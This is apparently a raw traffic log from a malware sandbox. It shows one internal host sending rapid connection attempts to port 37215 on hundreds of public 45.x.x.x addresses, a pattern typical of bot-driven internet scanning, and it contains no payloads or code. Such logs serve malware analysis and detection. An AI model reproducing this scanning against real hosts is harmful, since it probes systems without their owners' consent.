Feb 20, 2022 16:02:47.731448889 CET	27221	37215	192.168.2.23	45.3.245.233
Feb 20, 2022 16:02:47.731488943 CET	27221	37215	192.168.2.23	45.63.163.244
Feb 20, 2022 16:02:47.731595039 CET	27221	37215	192.168.2.23	45.71.240.228
Feb 20, 2022 16:02:47.731640100 CET	27221	37215	192.168.2.23	45.137.41.1
Feb 20, 2022 16:02:47.731647968 CET	27221	37215	192.168.2.23	45.38.21.187
Feb 20, 2022 16:02:47.731662035 CET	27221	37215	192.168.2.23	45.67.90.229
Feb 20, 2022 16:02:47.731674910 CET	27221	37215	192.168.2.23	45.57.38.11
Feb 20, 2022 16:02:47.731712103 CET	27221	37215	192.168.2.23	45.0.82.7
Feb 20, 2022 16:02:47.731770992 CET	27221	37215	192.168.2.23	45.231.168.187
Feb 20, 2022 16:02:47.731857061 CET	27221	37215	192.168.2.23	45.40.11.115
Feb 20, 2022 16:02:47.731889963 CET	27221	37215	192.168.2.23	45.9.75.187
Feb 20, 2022 16:02:47.731889963 CET	27221	37215	192.168.2.23	45.220.0.228
Feb 20, 2022 16:02:47.731905937 CET	27221	37215	192.168.2.23	45.85.207.20
Feb 20, 2022 16:02:47.731906891 CET	27221	37215	192.168.2.23	45.183.57.44
Feb 20, 2022 16:02:47.731924057 CET	27221	37215	192.168.2.23	45.240.225.241
Feb 20, 2022 16:02:47.731959105 CET	27221	37215	192.168.2.23	45.244.245.3
Feb 20, 2022 16:02:47.731993914 CET	27221	37215	192.168.2.23	45.212.55.2
Feb 20, 2022 16:02:47.732053995 CET	27221	37215	192.168.2.23	45.252.129.231
Feb 20, 2022 16:02:47.732105017 CET	27221	37215	192.168.2.23	45.99.51.154
Feb 20, 2022 16:02:47.732147932 CET	27221	37215	192.168.2.23	45.7.57.83
Feb 20, 2022 16:02:47.732147932 CET	27221	37215	192.168.2.23	45.161.239.229
Feb 20, 2022 16:02:47.732187033 CET	27221	37215	192.168.2.23	45.233.9.210
Feb 20, 2022 16:02:47.732259989 CET	27221	37215	192.168.2.23	45.135.131.205
Feb 20, 2022 16:02:47.732332945 CET	27221	37215	192.168.2.23	45.199.185.206
Feb 20, 2022 16:02:47.732377052 CET	27221	37215	192.168.2.23	45.99.42.179
Feb 20, 2022 16:02:47.732391119 CET	27221	37215	192.168.2.23	45.190.74.163
Feb 20, 2022 16:02:47.732429981 CET	27221	37215	192.168.2.23	45.14.17.166
Feb 20, 2022 16:02:47.732451916 CET	27221	37215	192.168.2.23	45.202.239.170
Feb 20, 2022 16:02:47.732485056 CET	27221	37215	192.168.2.23	45.161.56.169
Feb 20, 2022 16:02:47.732491970 CET	27221	37215	192.168.2.23	45.84.0.42
Feb 20, 2022 16:02:47.732553005 CET	27221	37215	192.168.2.23	45.157.222.204
Feb 20, 2022 16:02:47.732578039 CET	27221	37215	192.168.2.23	45.208.90.177
Feb 20, 2022 16:02:47.732584000 CET	27221	37215	192.168.2.23	45.154.72.41
Feb 20, 2022 16:02:47.732628107 CET	27221	37215	192.168.2.23	45.12.76.164
Feb 20, 2022 16:02:47.732641935 CET	27221	37215	192.168.2.23	45.127.66.220
Feb 20, 2022 16:02:47.732739925 CET	27221	37215	192.168.2.23	45.159.132.33
Feb 20, 2022 16:02:47.732780933 CET	27221	37215	192.168.2.23	45.12.13.67
Feb 20, 2022 16:02:47.732822895 CET	27221	37215	192.168.2.23	45.50.101.93
Feb 20, 2022 16:02:47.732831001 CET	27221	37215	192.168.2.23	45.54.240.185
Feb 20, 2022 16:02:47.732839108 CET	27221	37215	192.168.2.23	45.183.218.61
Feb 20, 2022 16:02:47.732862949 CET	27221	37215	192.168.2.23	45.163.211.195
Feb 20, 2022 16:02:47.732912064 CET	27221	37215	192.168.2.23	45.76.68.3
Feb 20, 2022 16:02:47.732939005 CET	27221	37215	192.168.2.23	45.89.186.44
Feb 20, 2022 16:02:47.732976913 CET	27221	37215	192.168.2.23	45.17.72.189
Feb 20, 2022 16:02:47.733017921 CET	27221	37215	192.168.2.23	45.230.223.74
Feb 20, 2022 16:02:47.733056068 CET	27221	37215	192.168.2.23	45.101.142.85
Feb 20, 2022 16:02:47.733093977 CET	27221	37215	192.168.2.23	45.129.243.236
Feb 20, 2022 16:02:47.733130932 CET	27221	37215	192.168.2.23	45.104.189.241
Feb 20, 2022 16:02:47.733206987 CET	27221	37215	192.168.2.23	45.178.212.154
Feb 20, 2022 16:02:47.733207941 CET	27221	37215	192.168.2.23	45.17.56.155
Feb 20, 2022 16:02:47.733267069 CET	27221	37215	192.168.2.23	45.191.38.158
Feb 20, 2022 16:02:47.733340979 CET	27221	37215	192.168.2.23	45.37.102.122
Feb 20, 2022 16:02:47.733342886 CET	27221	37215	192.168.2.23	45.13.2.121
Feb 20, 2022 16:02:47.733370066 CET	27221	37215	192.168.2.23	45.99.12.104
Feb 20, 2022 16:02:47.733372927 CET	27221	37215	192.168.2.23	45.66.205.154
Feb 20, 2022 16:02:47.733432055 CET	27221	37215	192.168.2.23	45.248.141.254
Feb 20, 2022 16:02:47.733433962 CET	27221	37215	192.168.2.23	45.224.197.166
Feb 20, 2022 16:02:47.733511925 CET	27221	37215	192.168.2.23	45.204.76.192
Feb 20, 2022 16:02:47.733511925 CET	27221	37215	192.168.2.23	45.65.53.25
Feb 20, 2022 16:02:47.733565092 CET	27221	37215	192.168.2.23	45.10.120.174
Feb 20, 2022 16:02:47.733587027 CET	27221	37215	192.168.2.23	45.217.244.80
Feb 20, 2022 16:02:47.733637094 CET	27221	37215	192.168.2.23	45.172.163.87
Feb 20, 2022 16:02:47.733639956 CET	27221	37215	192.168.2.23	45.46.133.132
Feb 20, 2022 16:02:47.733658075 CET	27221	37215	192.168.2.23	45.170.42.133
Feb 20, 2022 16:02:47.733716965 CET	27221	37215	192.168.2.23	45.253.127.123
Feb 20, 2022 16:02:47.733733892 CET	27221	37215	192.168.2.23	45.178.73.207
Feb 20, 2022 16:02:47.733742952 CET	27221	37215	192.168.2.23	45.172.55.8
Feb 20, 2022 16:02:47.733772993 CET	27221	37215	192.168.2.23	45.121.117.154
Feb 20, 2022 16:02:47.733833075 CET	27221	37215	192.168.2.23	45.212.37.220
Feb 20, 2022 16:02:47.733900070 CET	27221	37215	192.168.2.23	45.97.96.200
Feb 20, 2022 16:02:47.733901024 CET	27221	37215	192.168.2.23	45.81.208.24
Feb 20, 2022 16:02:47.733937025 CET	27221	37215	192.168.2.23	45.31.69.228
Feb 20, 2022 16:02:47.733978033 CET	27221	37215	192.168.2.23	45.148.133.101
Feb 20, 2022 16:02:47.733999014 CET	27221	37215	192.168.2.23	45.36.255.131
Feb 20, 2022 16:02:47.734028101 CET	27221	37215	192.168.2.23	45.209.45.33
Feb 20, 2022 16:02:47.734050035 CET	27221	37215	192.168.2.23	45.124.30.138
Feb 20, 2022 16:02:47.734066010 CET	27221	37215	192.168.2.23	45.22.66.85
Feb 20, 2022 16:02:47.734087944 CET	27221	37215	192.168.2.23	45.47.11.37
Feb 20, 2022 16:02:47.734121084 CET	27221	37215	192.168.2.23	45.118.141.70
Feb 20, 2022 16:02:47.734158993 CET	27221	37215	192.168.2.23	45.122.119.109
Feb 20, 2022 16:02:47.734195948 CET	27221	37215	192.168.2.23	45.136.89.135
Feb 20, 2022 16:02:47.734302998 CET	27221	37215	192.168.2.23	45.73.150.123
Feb 20, 2022 16:02:47.734344006 CET	27221	37215	192.168.2.23	45.30.160.172
Feb 20, 2022 16:02:47.734376907 CET	27221	37215	192.168.2.23	45.67.238.5
Feb 20, 2022 16:02:47.734380007 CET	27221	37215	192.168.2.23	45.20.76.213
Feb 20, 2022 16:02:47.734394073 CET	27221	37215	192.168.2.23	45.182.89.190
Feb 20, 2022 16:02:47.734468937 CET	27221	37215	192.168.2.23	45.190.84.138
Feb 20, 2022 16:02:47.734473944 CET	27221	37215	192.168.2.23	45.23.111.109
Feb 20, 2022 16:02:47.734476089 CET	27221	37215	192.168.2.23	45.191.80.211
Feb 20, 2022 16:02:47.734499931 CET	27221	37215	192.168.2.23	45.189.42.27
Feb 20, 2022 16:02:47.734570026 CET	27221	37215	192.168.2.23	45.130.41.194
Feb 20, 2022 16:02:47.734596014 CET	27221	37215	192.168.2.23	45.170.1.105
Feb 20, 2022 16:02:47.734690905 CET	27221	37215	192.168.2.23	45.141.148.203
Feb 20, 2022 16:02:47.734693050 CET	27221	37215	192.168.2.23	45.117.68.209
Feb 20, 2022 16:02:47.734707117 CET	27221	37215	192.168.2.23	45.55.200.21
Feb 20, 2022 16:02:47.734745026 CET	27221	37215	192.168.2.23	45.76.94.234
Feb 20, 2022 16:02:47.734781981 CET	27221	37215	192.168.2.23	45.171.54.213
Feb 20, 2022 16:02:47.734827995 CET	27221	37215	192.168.2.23	45.147.35.165
Feb 20, 2022 16:02:47.734834909 CET	27221	37215	192.168.2.23	45.100.207.9
Feb 20, 2022 16:02:47.734901905 CET	27221	37215	192.168.2.23	45.212.254.32
Feb 20, 2022 16:02:47.734909058 CET	27221	37215	192.168.2.23	45.209.156.16
Feb 20, 2022 16:02:47.734915972 CET	27221	37215	192.168.2.23	45.178.187.28
Feb 20, 2022 16:02:47.735011101 CET	27221	37215	192.168.2.23	45.161.149.215
Feb 20, 2022 16:02:47.735038996 CET	27221	37215	192.168.2.23	45.235.222.127
Feb 20, 2022 16:02:47.735042095 CET	27221	37215	192.168.2.23	45.8.140.133
Feb 20, 2022 16:02:47.735043049 CET	27221	37215	192.168.2.23	45.63.10.120
Feb 20, 2022 16:02:47.735078096 CET	27221	37215	192.168.2.23	45.231.206.195
Feb 20, 2022 16:02:47.735122919 CET	27221	37215	192.168.2.23	45.4.29.3
Feb 20, 2022 16:02:47.735140085 CET	27221	37215	192.168.2.23	45.157.229.119
Feb 20, 2022 16:02:47.735174894 CET	27221	37215	192.168.2.23	45.96.244.173
Feb 20, 2022 16:02:47.735203981 CET	27221	37215	192.168.2.23	45.228.158.13
Feb 20, 2022 16:02:47.735268116 CET	27221	37215	192.168.2.23	45.141.220.93
Feb 20, 2022 16:02:47.735271931 CET	27221	37215	192.168.2.23	45.147.119.144
Feb 20, 2022 16:02:47.735321999 CET	27221	37215	192.168.2.23	45.128.6.153
Feb 20, 2022 16:02:47.735363960 CET	27221	37215	192.168.2.23	45.203.79.104
Feb 20, 2022 16:02:47.735394001 CET	27221	37215	192.168.2.23	45.92.106.123
Feb 20, 2022 16:02:47.735409975 CET	27221	37215	192.168.2.23	45.0.39.97
Feb 20, 2022 16:02:47.735450983 CET	27221	37215	192.168.2.23	45.28.77.29
Feb 20, 2022 16:02:47.735454082 CET	27221	37215	192.168.2.23	45.51.181.205
Feb 20, 2022 16:02:47.735523939 CET	27221	37215	192.168.2.23	45.22.169.19
Feb 20, 2022 16:02:47.735553026 CET	27221	37215	192.168.2.23	45.111.152.45
Feb 20, 2022 16:02:47.735568047 CET	27221	37215	192.168.2.23	45.230.251.33
Feb 20, 2022 16:02:47.735599041 CET	27221	37215	192.168.2.23	45.8.44.140
Feb 20, 2022 16:02:47.735657930 CET	27221	37215	192.168.2.23	45.8.20.149
Feb 20, 2022 16:02:47.735703945 CET	27221	37215	192.168.2.23	45.9.171.247
Feb 20, 2022 16:02:47.735713005 CET	27221	37215	192.168.2.23	45.82.148.253
Feb 20, 2022 16:02:47.735743046 CET	27221	37215	192.168.2.23	45.103.64.24
Feb 20, 2022 16:02:47.735774994 CET	27221	37215	192.168.2.23	45.22.98.47
Feb 20, 2022 16:02:47.735789061 CET	27221	37215	192.168.2.23	45.202.182.58
Feb 20, 2022 16:02:47.735832930 CET	27221	37215	192.168.2.23	45.195.13.89
Feb 20, 2022 16:02:47.735845089 CET	27221	37215	192.168.2.23	45.96.196.208
Feb 20, 2022 16:02:47.735891104 CET	27221	37215	192.168.2.23	45.227.93.203
Feb 20, 2022 16:02:47.735907078 CET	27221	37215	192.168.2.23	45.117.80.10
Feb 20, 2022 16:02:47.735944033 CET	27221	37215	192.168.2.23	45.158.122.97
Feb 20, 2022 16:02:47.735980034 CET	27221	37215	192.168.2.23	45.41.253.79
Feb 20, 2022 16:02:47.736016035 CET	27221	37215	192.168.2.23	45.211.74.100
Feb 20, 2022 16:02:47.736026049 CET	27221	37215	192.168.2.23	45.131.25.28
Feb 20, 2022 16:02:47.736071110 CET	27221	37215	192.168.2.23	45.229.75.108
Feb 20, 2022 16:02:47.736093044 CET	27221	37215	192.168.2.23	45.63.140.48
Feb 20, 2022 16:02:47.736099005 CET	27221	37215	192.168.2.23	45.243.213.119
Feb 20, 2022 16:02:47.736181974 CET	27221	37215	192.168.2.23	45.105.182.39
Feb 20, 2022 16:02:47.736187935 CET	27221	37215	192.168.2.23	45.89.153.145
Feb 20, 2022 16:02:47.736219883 CET	27221	37215	192.168.2.23	45.226.241.199
Feb 20, 2022 16:02:47.736254930 CET	27221	37215	192.168.2.23	45.112.215.76
Feb 20, 2022 16:02:47.736304045 CET	27221	37215	192.168.2.23	45.146.58.58
Feb 20, 2022 16:02:47.736409903 CET	27221	37215	192.168.2.23	45.94.97.195
Feb 20, 2022 16:02:47.736411095 CET	27221	37215	192.168.2.23	45.155.215.18
Feb 20, 2022 16:02:47.736413002 CET	27221	37215	192.168.2.23	45.115.120.197
Feb 20, 2022 16:02:47.736428022 CET	27221	37215	192.168.2.23	45.135.93.8
Feb 20, 2022 16:02:47.736454010 CET	27221	37215	192.168.2.23	45.83.189.252
Feb 20, 2022 16:02:47.736474037 CET	27221	37215	192.168.2.23	45.169.154.221
Feb 20, 2022 16:02:47.736485004 CET	27221	37215	192.168.2.23	45.7.174.35
Feb 20, 2022 16:02:47.736501932 CET	27221	37215	192.168.2.23	45.40.139.201
Feb 20, 2022 16:02:47.736574888 CET	27221	37215	192.168.2.23	45.150.169.117
Feb 20, 2022 16:02:47.736574888 CET	27221	37215	192.168.2.23	45.15.219.150
Feb 20, 2022 16:02:47.736610889 CET	27221	37215	192.168.2.23	45.56.222.37
Feb 20, 2022 16:02:47.736629963 CET	27221	37215	192.168.2.23	45.183.37.214
Feb 20, 2022 16:02:47.736648083 CET	27221	37215	192.168.2.23	45.1.11.25
Feb 20, 2022 16:02:47.736681938 CET	27221	37215	192.168.2.23	45.249.108.244
Feb 20, 2022 16:02:47.736733913 CET	27221	37215	192.168.2.23	45.2.243.76
Feb 20, 2022 16:02:47.736816883 CET	27221	37215	192.168.2.23	45.243.19.33
Feb 20, 2022 16:02:47.736819029 CET	27221	37215	192.168.2.23	45.146.253.63
Feb 20, 2022 16:02:47.736870050 CET	27221	37215	192.168.2.23	45.156.45.204
Feb 20, 2022 16:02:47.736886024 CET	27221	37215	192.168.2.23	45.142.103.217
Feb 20, 2022 16:02:47.736902952 CET	27221	37215	192.168.2.23	45.55.190.129
Feb 20, 2022 16:02:47.736939907 CET	27221	37215	192.168.2.23	45.174.70.141
Feb 20, 2022 16:02:47.736941099 CET	27221	37215	192.168.2.23	45.76.234.173
Feb 20, 2022 16:02:47.736943007 CET	27221	37215	192.168.2.23	45.141.57.213
Feb 20, 2022 16:02:47.736968994 CET	27221	37215	192.168.2.23	45.58.135.20
Feb 20, 2022 16:02:47.736998081 CET	27221	37215	192.168.2.23	45.159.123.111
Feb 20, 2022 16:02:47.737030983 CET	27221	37215	192.168.2.23	45.118.161.180
Feb 20, 2022 16:02:47.737090111 CET	27221	37215	192.168.2.23	45.11.228.219
Feb 20, 2022 16:02:47.737091064 CET	27221	37215	192.168.2.23	45.241.144.43
Feb 20, 2022 16:02:47.737121105 CET	27221	37215	192.168.2.23	45.64.159.53
Feb 20, 2022 16:02:47.737178087 CET	27221	37215	192.168.2.23	45.186.37.43
Feb 20, 2022 16:02:47.737271070 CET	27221	37215	192.168.2.23	45.90.129.40
Feb 20, 2022 16:02:47.737272978 CET	27221	37215	192.168.2.23	45.131.6.76
Feb 20, 2022 16:02:47.737277031 CET	27221	37215	192.168.2.23	45.53.57.128
Feb 20, 2022 16:02:47.737296104 CET	27221	37215	192.168.2.23	45.177.146.248
Feb 20, 2022 16:02:47.737306118 CET	27221	37215	192.168.2.23	45.160.161.55
Feb 20, 2022 16:02:47.737360954 CET	27221	37215	192.168.2.23	45.25.25.237
Feb 20, 2022 16:02:47.737369061 CET	27221	37215	192.168.2.23	45.168.16.151
Feb 20, 2022 16:02:47.737430096 CET	27221	37215	192.168.2.23	45.43.209.152
Feb 20, 2022 16:02:47.737445116 CET	27221	37215	192.168.2.23	45.219.50.72
Feb 20, 2022 16:02:47.737529039 CET	27221	37215	192.168.2.23	45.68.55.96
Feb 20, 2022 16:02:47.737556934 CET	27221	37215	192.168.2.23	45.40.195.52
Feb 20, 2022 16:02:47.737561941 CET	27221	37215	192.168.2.23	45.81.143.180
Feb 20, 2022 16:02:47.737582922 CET	27221	37215	192.168.2.23	45.28.73.175
Feb 20, 2022 16:02:47.737590075 CET	27221	37215	192.168.2.23	45.49.124.19
Feb 20, 2022 16:02:47.737648964 CET	27221	37215	192.168.2.23	45.254.100.220
Feb 20, 2022 16:02:47.737685919 CET	27221	37215	192.168.2.23	45.141.1.87
Feb 20, 2022 16:02:47.737739086 CET	27221	37215	192.168.2.23	45.68.223.108
Feb 20, 2022 16:02:47.737766981 CET	27221	37215	192.168.2.23	45.138.138.84
Feb 20, 2022 16:02:47.737767935 CET	27221	37215	192.168.2.23	45.242.70.250
Feb 20, 2022 16:02:47.737795115 CET	27221	37215	192.168.2.23	45.170.4.154
Feb 20, 2022 16:02:47.737844944 CET	27221	37215	192.168.2.23	45.219.144.231
Feb 20, 2022 16:02:47.737860918 CET	27221	37215	192.168.2.23	45.98.129.22
Feb 20, 2022 16:02:47.737909079 CET	27221	37215	192.168.2.23	45.163.107.47
Feb 20, 2022 16:02:47.737926006 CET	27221	37215	192.168.2.23	45.210.159.71
Feb 20, 2022 16:02:47.737977028 CET	27221	37215	192.168.2.23	45.93.67.28
Feb 20, 2022 16:02:47.738003969 CET	27221	37215	192.168.2.23	45.6.120.93
Feb 20, 2022 16:02:47.738004923 CET	27221	37215	192.168.2.23	45.179.79.63
Feb 20, 2022 16:02:47.738035917 CET	27221	37215	192.168.2.23	45.21.162.111
Feb 20, 2022 16:02:47.738121986 CET	27221	37215	192.168.2.23	45.83.114.150
Feb 20, 2022 16:02:47.738184929 CET	27221	37215	192.168.2.23	45.19.83.109
Feb 20, 2022 16:02:47.738184929 CET	27221	37215	192.168.2.23	45.135.244.91
Feb 20, 2022 16:02:47.738202095 CET	27221	37215	192.168.2.23	45.88.58.68
Feb 20, 2022 16:02:47.738240957 CET	27221	37215	192.168.2.23	45.125.179.122
Feb 20, 2022 16:02:47.738276958 CET	27221	37215	192.168.2.23	45.203.178.54
Feb 20, 2022 16:02:47.738280058 CET	27221	37215	192.168.2.23	45.180.184.96
Feb 20, 2022 16:02:47.738281012 CET	27221	37215	192.168.2.23	45.229.73.197
Feb 20, 2022 16:02:47.738338947 CET	27221	37215	192.168.2.23	45.157.74.140
Feb 20, 2022 16:02:47.738365889 CET	27221	37215	192.168.2.23	45.232.250.225
Feb 20, 2022 16:02:47.738367081 CET	27221	37215	192.168.2.23	45.235.99.2
Feb 20, 2022 16:02:47.738452911 CET	27221	37215	192.168.2.23	45.52.229.180
Feb 20, 2022 16:02:47.738470078 CET	27221	37215	192.168.2.23	45.238.18.219
Feb 20, 2022 16:02:47.738471031 CET	27221	37215	192.168.2.23	45.77.199.251
Feb 20, 2022 16:02:47.738511086 CET	27221	37215	192.168.2.23	45.17.73.148
Feb 20, 2022 16:02:47.738563061 CET	27221	37215	192.168.2.23	45.145.0.162
Feb 20, 2022 16:02:47.738574028 CET	27221	37215	192.168.2.23	45.50.159.51
Feb 20, 2022 16:02:47.738635063 CET	27221	37215	192.168.2.23	45.222.175.100
Feb 20, 2022 16:02:47.738698006 CET	27221	37215	192.168.2.23	45.161.90.113
Feb 20, 2022 16:02:47.738699913 CET	27221	37215	192.168.2.23	45.102.175.70
Feb 20, 2022 16:02:47.738719940 CET	27221	37215	192.168.2.23	45.255.59.129
Feb 20, 2022 16:02:47.738801956 CET	27221	37215	192.168.2.23	45.43.242.201
Feb 20, 2022 16:02:47.738835096 CET	27221	37215	192.168.2.23	45.53.101.82
Feb 20, 2022 16:02:47.738837957 CET	27221	37215	192.168.2.23	45.245.78.213
Feb 20, 2022 16:02:47.738858938 CET	27221	37215	192.168.2.23	45.103.115.96
Feb 20, 2022 16:02:47.738895893 CET	27221	37215	192.168.2.23	45.29.7.32
Feb 20, 2022 16:02:47.738909960 CET	27221	37215	192.168.2.23	45.14.128.70
Feb 20, 2022 16:02:47.738957882 CET	27221	37215	192.168.2.23	45.151.143.172
Feb 20, 2022 16:02:47.738991022 CET	27221	37215	192.168.2.23	45.234.242.19
Feb 20, 2022 16:02:47.739068985 CET	27221	37215	192.168.2.23	45.148.228.75
Feb 20, 2022 16:02:47.739070892 CET	27221	37215	192.168.2.23	45.50.34.146
Feb 20, 2022 16:02:47.739072084 CET	27221	37215	192.168.2.23	45.111.198.152
Feb 20, 2022 16:02:47.739132881 CET	27221	37215	192.168.2.23	45.92.122.62
Feb 20, 2022 16:02:47.739134073 CET	27221	37215	192.168.2.23	45.87.152.25
Feb 20, 2022 16:02:47.739136934 CET	27221	37215	192.168.2.23	45.159.87.47
Feb 20, 2022 16:02:47.739166021 CET	27221	37215	192.168.2.23	45.140.242.40
Feb 20, 2022 16:02:47.739228010 CET	27221	37215	192.168.2.23	45.66.157.64
Feb 20, 2022 16:02:47.739263058 CET	27221	37215	192.168.2.23	45.45.137.48
Feb 20, 2022 16:02:47.739288092 CET	27221	37215	192.168.2.23	45.205.227.231
Feb 20, 2022 16:02:47.739326000 CET	27221	37215	192.168.2.23	45.51.239.77
Feb 20, 2022 16:02:47.739362955 CET	27221	37215	192.168.2.23	45.156.175.127
Feb 20, 2022 16:02:47.739404917 CET	27221	37215	192.168.2.23	45.81.202.208
Feb 20, 2022 16:02:47.739417076 CET	27221	37215	192.168.2.23	45.87.35.148
Feb 20, 2022 16:02:47.739422083 CET	27221	37215	192.168.2.23	45.166.171.218
Feb 20, 2022 16:02:47.739521027 CET	27221	37215	192.168.2.23	45.126.132.61
Feb 20, 2022 16:02:47.739552021 CET	27221	37215	192.168.2.23	45.13.142.52
Feb 20, 2022 16:02:47.739573002 CET	27221	37215	192.168.2.23	45.23.35.223
Feb 20, 2022 16:02:47.739584923 CET	27221	37215	192.168.2.23	45.45.65.147
Feb 20, 2022 16:02:47.739619017 CET	27221	37215	192.168.2.23	45.101.213.58
Feb 20, 2022 16:02:47.739670038 CET	27221	37215	192.168.2.23	45.224.11.62
Feb 20, 2022 16:02:47.739680052 CET	27221	37215	192.168.2.23	45.8.107.32
Feb 20, 2022 16:02:47.739748001 CET	27221	37215	192.168.2.23	45.181.156.88
Feb 20, 2022 16:02:47.739756107 CET	27221	37215	192.168.2.23	45.222.52.12
Feb 20, 2022 16:02:47.739772081 CET	27221	37215	192.168.2.23	45.122.99.214
Feb 20, 2022 16:02:47.739778042 CET	27221	37215	192.168.2.23	45.47.193.223
Feb 20, 2022 16:02:47.739859104 CET	27221	37215	192.168.2.23	45.164.185.85
Feb 20, 2022 16:02:47.739861012 CET	27221	37215	192.168.2.23	45.154.141.245
Feb 20, 2022 16:02:47.739901066 CET	27221	37215	192.168.2.23	45.28.146.145
Feb 20, 2022 16:02:47.739945889 CET	27221	37215	192.168.2.23	45.40.153.57
Feb 20, 2022 16:02:47.739947081 CET	27221	37215	192.168.2.23	45.80.4.149
Feb 20, 2022 16:02:47.740042925 CET	27221	37215	192.168.2.23	45.16.172.20
Feb 20, 2022 16:02:47.740082979 CET	27221	37215	192.168.2.23	45.236.239.184
Feb 20, 2022 16:02:47.740112066 CET	27221	37215	192.168.2.23	45.240.121.47
Feb 20, 2022 16:02:47.740139961 CET	27221	37215	192.168.2.23	45.92.235.249
Feb 20, 2022 16:02:47.740183115 CET	27221	37215	192.168.2.23	45.84.237.175
Feb 20, 2022 16:02:47.740201950 CET	27221	37215	192.168.2.23	45.151.155.172
Feb 20, 2022 16:02:47.740225077 CET	27221	37215	192.168.2.23	45.237.80.206
Feb 20, 2022 16:02:47.740286112 CET	27221	37215	192.168.2.23	45.184.148.242
Feb 20, 2022 16:02:47.740286112 CET	27221	37215	192.168.2.23	45.52.61.90
Feb 20, 2022 16:02:47.740309000 CET	27221	37215	192.168.2.23	45.57.106.241
Feb 20, 2022 16:02:47.740370989 CET	27221	37215	192.168.2.23	45.198.192.119
Feb 20, 2022 16:02:47.740386009 CET	27221	37215	192.168.2.23	45.106.136.30
Feb 20, 2022 16:02:47.740386963 CET	27221	37215	192.168.2.23	45.177.10.50
Feb 20, 2022 16:02:47.740403891 CET	27221	37215	192.168.2.23	45.55.79.23
Feb 20, 2022 16:02:47.740430117 CET	27221	37215	192.168.2.23	45.128.55.137
Feb 20, 2022 16:02:47.740489006 CET	27221	37215	192.168.2.23	45.142.108.156
Feb 20, 2022 16:02:47.740525007 CET	27221	37215	192.168.2.23	45.119.246.5
Feb 20, 2022 16:02:47.740571022 CET	27221	37215	192.168.2.23	45.201.27.204
Feb 20, 2022 16:02:47.740576982 CET	27221	37215	192.168.2.23	45.168.129.60
Feb 20, 2022 16:02:47.740592003 CET	27221	37215	192.168.2.23	45.65.95.62
Feb 20, 2022 16:02:47.740721941 CET	27221	37215	192.168.2.23	45.143.177.111
Feb 20, 2022 16:02:47.740722895 CET	27221	37215	192.168.2.23	45.227.59.153
Feb 20, 2022 16:02:47.740735054 CET	27221	37215	192.168.2.23	45.121.209.7
Feb 20, 2022 16:02:47.740740061 CET	27221	37215	192.168.2.23	45.223.159.194
Feb 20, 2022 16:02:47.740777016 CET	27221	37215	192.168.2.23	45.132.188.166
Feb 20, 2022 16:02:47.740812063 CET	27221	37215	192.168.2.23	45.202.195.189
Feb 20, 2022 16:02:47.740832090 CET	27221	37215	192.168.2.23	45.68.55.212
Feb 20, 2022 16:02:47.740850925 CET	27221	37215	192.168.2.23	45.48.41.21
Feb 20, 2022 16:02:47.740916967 CET	27221	37215	192.168.2.23	45.95.43.103
Feb 20, 2022 16:02:47.740917921 CET	27221	37215	192.168.2.23	45.208.148.200
Feb 20, 2022 16:02:47.740945101 CET	27221	37215	192.168.2.23	45.126.223.95
Feb 20, 2022 16:02:47.741067886 CET	27221	37215	192.168.2.23	45.24.61.37
Feb 20, 2022 16:02:47.741069078 CET	27221	37215	192.168.2.23	45.85.149.114
Feb 20, 2022 16:02:47.741086006 CET	27221	37215	192.168.2.23	45.153.232.144
Feb 20, 2022 16:02:47.741097927 CET	27221	37215	192.168.2.23	45.88.133.248
Feb 20, 2022 16:02:47.741137028 CET	27221	37215	192.168.2.23	45.252.106.163
Feb 20, 2022 16:02:47.741151094 CET	27221	37215	192.168.2.23	45.77.185.182
Feb 20, 2022 16:02:47.741178036 CET	27221	37215	192.168.2.23	45.75.141.100
Feb 20, 2022 16:02:47.741194010 CET	37215	27221	45.151.156.10	192.168.2.23
Feb 20, 2022 16:02:47.741224051 CET	27221	37215	192.168.2.23	45.178.160.62
Feb 20, 2022 16:02:47.741224051 CET	27221	37215	192.168.2.23	45.182.129.68
Feb 20, 2022 16:02:47.741281033 CET	27221	37215	192.168.2.23	45.169.12.252
Feb 20, 2022 16:02:47.741328955 CET	27221	37215	192.168.2.23	45.122.237.94
Feb 20, 2022 16:02:47.741338968 CET	37215	27221	45.66.144.110	192.168.2.23
Feb 20, 2022 16:02:47.741355896 CET	27221	37215	192.168.2.23	45.27.135.32
Feb 20, 2022 16:02:47.741373062 CET	27221	37215	192.168.2.23	45.152.211.23
Feb 20, 2022 16:02:47.741384029 CET	27221	37215	192.168.2.23	45.155.80.41
Feb 20, 2022 16:02:47.741422892 CET	27221	37215	192.168.2.23	45.53.152.108
Feb 20, 2022 16:02:47.741457939 CET	27221	37215	192.168.2.23	45.253.128.43
Feb 20, 2022 16:02:47.741482019 CET	27221	37215	192.168.2.23	45.143.108.126
Feb 20, 2022 16:02:47.741508007 CET	27221	37215	192.168.2.23	45.252.214.217
Feb 20, 2022 16:02:47.741535902 CET	27221	37215	192.168.2.23	45.252.116.183
Feb 20, 2022 16:02:47.741566896 CET	27221	37215	192.168.2.23	45.11.162.169
Feb 20, 2022 16:02:47.741631985 CET	27221	37215	192.168.2.23	45.212.19.78
Feb 20, 2022 16:02:47.741705894 CET	27221	37215	192.168.2.23	45.113.158.224
Feb 20, 2022 16:02:47.741729975 CET	27221	37215	192.168.2.23	45.148.82.25
Feb 20, 2022 16:02:47.741739035 CET	27221	37215	192.168.2.23	45.190.132.92
Feb 20, 2022 16:02:47.741739988 CET	27221	37215	192.168.2.23	45.197.115.247
Feb 20, 2022 16:02:47.741780996 CET	27221	37215	192.168.2.23	45.245.244.252
Feb 20, 2022 16:02:47.741835117 CET	27221	37215	192.168.2.23	45.150.219.205
Feb 20, 2022 16:02:47.741873980 CET	27221	37215	192.168.2.23	45.40.79.139
Feb 20, 2022 16:02:47.741880894 CET	27221	37215	192.168.2.23	45.99.50.223
Feb 20, 2022 16:02:47.741971970 CET	27221	37215	192.168.2.23	45.167.111.40
Feb 20, 2022 16:02:47.741972923 CET	27221	37215	192.168.2.23	45.45.105.118
Feb 20, 2022 16:02:47.741996050 CET	27221	37215	192.168.2.23	45.244.37.217
Feb 20, 2022 16:02:47.742053986 CET	27221	37215	192.168.2.23	45.48.192.90
Feb 20, 2022 16:02:47.742096901 CET	27221	37215	192.168.2.23	45.126.253.7
Feb 20, 2022 16:02:47.742117882 CET	27221	37215	192.168.2.23	45.233.233.173
Feb 20, 2022 16:02:47.742117882 CET	27221	37215	192.168.2.23	45.214.44.109
Feb 20, 2022 16:02:47.742202044 CET	27221	37215	192.168.2.23	45.231.53.114
